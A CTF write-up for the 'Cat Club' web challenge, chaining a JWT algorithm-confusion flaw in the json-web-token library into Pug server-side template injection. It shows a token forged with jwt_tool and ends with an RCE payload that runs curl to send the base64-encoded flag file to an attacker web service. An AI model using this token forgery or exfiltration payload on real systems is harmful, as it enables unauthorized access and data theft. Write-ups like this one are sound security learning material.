1337up ctf catclub writeup

2024-11-19

Description

Cat Club
Cat Club

Recon

Here we have source code and URL. After some investigation, we can find that there is only a login/register endpoint here, which may help us in our next move.

login endpoint
login endpoint

We register with a random account hacker123 and login in. Now, we see four very cute cats and a title with our registered username, and since the username is displayed directly as is, we can guess that there may be injection-related vulnerabilities.

logined
logined

And second interesting thing is that the request carries a JWT cookie.

JWT
JWT

Expolit

We already have the above findings in hand and now do a targeted search of the source code. Since this is a JavaScript project, we get the package.json to see its dependencies:

{
    "name": "cat-club",
    "version": "4.2.0",
    "main": "app/app.js",
    "scripts": {
        "start": "node app/app.js"
    },
    "dependencies": {
        "bcryptjs": "^2.4.3",
        "cookie-parser": "^1.4.6",
        "dotenv": "^16.4.5",
        "pug": "^3.0.3",
        "express": "^4.21.0",
        "express-session": "^1.18.0",
        "json-web-token": "~3.0.0",
        "pg": "^8.12.0",
        "sequelize": "^6.37.3"
    },
    "devDependencies": {
        "nodemon": "^3.1.4"
    },
    "engines": {
        "node": ""
    },
    "license": "MIT",
    "keywords": [],
    "author": "",
    "description": ""
}

Notice the highlighted line, which is dependency library of JWT handled in JavaScript, search it in npmjs:

npmjs search
npmjs search

And there’s nothing strange about the usage. However, we quickly discovered a high-risk vulnerability on the security page.

JWT Algorithm Confusion
JWT Algorithm Confusion

We can learn more detail infomation about this vulnerability in PortSwigger Academy. After we have familiarized ourselves with how this vulnerability works, in order to expolit it.

we need public key (in first request we can get orginal alg_type is RS256).

Fortunately, the program has an endpoint that provides a public key.

router.get("/jwks.json", async (req, res) => {
    try {
        const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
        const publicKeyObj = crypto.createPublicKey(publicKey);
        const publicKeyDetails = publicKeyObj.export({ format: "jwk" });

        const jwk = {
            kty: "RSA",
            n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
            e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
            alg: "RS256",
            use: "sig",
        };

        res.json({ keys: [jwk] });
    } catch (err) {
        res.status(500).json({ message: "Error generating JWK" });
    }
});
 curl https://catclub-0.ctf.intigriti.io/jwks.json | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   410  100   410    0     0    221      0  0:00:01  0:00:01 --:--:--   221
{
  "keys": [
    {
      "kty": "RSA",
      "n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
      "e": "AQAB",
      "alg": "RS256",
      "use": "sig"
    }
  ]
}

And we can transfer JWK to PEM format key with CyberChef

JWK to PEM
JWK to PEM

Further, in the endpoint that returns the Cats Gallery after user has successfully loggedin, we can see that the username is also injected into the server-side template in advance in JWT.

router.get("/cats", getCurrentUser, (req, res) => {
    if (!req.user) {
        return res.redirect("/login?error=Please log in to view the cat gallery");
    }

    const templatePath = path.join(__dirname, "views", "cats.pug");

    fs.readFile(templatePath, "utf8", (err, template) => {
        if (err) {
            return res.render("cats");
        }

        if (typeof req.user != "undefined") {
            template = template.replace(/guest/g, req.user);
        }

        const html = pug.render(template, {
            filename: templatePath,
            user: req.user,
        });

        res.send(html);
    });
});

Tip

hacktricks have collected awesome lists for SSTI

Solution

  1. exploit json-web-token algorithm-confusion to bypass login in JWT verifying.
  2. use SSTI to RCE.
 python3 jwt_tool.py --exploit k -pk ~/Downloads/pubkey -I -pc username -pv "#{7*7}" $JWT

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi      

Original JWT: 

File loaded: /home/ada/Downloads/pubkey
jwttool_697a82c0d94b5cd145edc825ef911a2d - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7Nyo3fSJ9.lsLiuUrEkr81Z73IyAJmF7gTJfp9WwqErjPlr9e9UvI

Use this new JWT and reload the page, we see:

SSTI Successful
SSTI Successful

Now, change to real RCE payload:

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad(\"child_process\").exec('curl <web service>/?flag=$(cat /flag* | base64)')}()}

which can use ngrok for proxy our web service.